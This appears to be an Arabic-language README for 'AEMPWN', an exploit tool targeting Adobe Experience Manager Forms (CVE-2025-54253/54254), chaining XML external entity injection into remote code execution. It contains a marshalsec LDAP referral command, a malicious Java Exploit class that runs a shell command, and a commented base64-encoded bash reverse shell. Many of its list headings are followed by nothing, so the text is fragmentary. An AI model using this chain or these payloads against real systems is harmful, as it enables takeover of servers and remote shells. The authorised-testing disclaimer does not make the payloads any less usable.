
CVE-2025-54253 | CVE-2025-54254 | Adobe Experience Manager Forms XXE → RCE Framework
ماسح AEM Forms للثغرات CVE-2025-54253 وCVE-2025-54254
AEMPWN هو ماسح موجه لتحديد الثغرات عالية الخطورة في Adobe Experience Manager (AEM) Forms، مع دعم الكشف الآمن، والتأكيد الأعمى خارج النطاق (OOB)، وسير عمل التحقق الكامل من إثبات المفهوم (PoC). هذه الأداة مصممة لاختبارات الأمان المصرح بها فقط.
تنفيذ تعليمات برمجية عن بُعد يعتمد على التهيئة في AEM Forms (JEE)
حقن كيان خارجي XML (XXE) يؤدي إلى كشف الملفات واحتمال التصعيد
يدعم AEMPWN ثلاثة أنماط تنفيذ لتتوافق مع سير عمل الباونتي والفرق الحمراء في العالم الحقيقي.
الغرض: تحديد سلوك تحليل XML غير الآمن وسطح الاستغلال المحتمل دون التسبب في سلوك مدمر.
ما يتحقق منه:
استخدم عندما:
الغرض: تأكيد XXE الأعمى عبر الطلبات الصادرة من خادم AEM.
توضيح مهم: Burp Collaborator (أو خدمات مماثلة) يراقب فقط الاتصالات الصادرة. لا تقوم بـ:
لهذا السبب، Collaborator وحده غير كافٍ للاستغلال الكامل لـ OOB XXE.
ما تحتاجه:
ما يثبته هذا:
الغرض: إظهار تنفيذ فعلي للتعليمات البرمجية على خادم AEM لإظهار تأثير من المستوى P1.
يعتمد هذا الوضع على حقن JNDI عبر تحليل XML، الأمر الذي يتطلب بنية تحتية تتجاوز استدعاءات HTTP.
ما تحتاجه:
لماذا LDAP مطلوب:
أفضل أداة: marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server/#Exploit" 1389
http://your-server/#Exploit = خادم HTTP يقدم Exploit.class (فئة ضارة مترجمة).
مثال على فئة ضارة (لمسة بسيطة /tmp/pwned أو شل عكسية):
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
// or reverse shell: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
}
قم بالتجميع ← استضافة على خادم HTTP (نفس DTD أو منفصل). عندما يحلل AEM الكيان ← يتصل بـ LDAP الخاص بك ← يجلب الفئة ← ينفذ التعليمات البرمجية.
القيود الرئيسية:
لا يمكن لـ Burp Collaborator:
Burp Collaborator (والمنصات المماثلة) مفيدة فقط للكشف.
يمكنها تأكيد:
لا يمكنها:
استخدم Collaborator للمراقبة، وليس لتسليم الحمولات.
تتم كتابة النتائج المؤكدة في ملف مخرجات (الافتراضي: aem-forms-scan.txt) وتتضمن: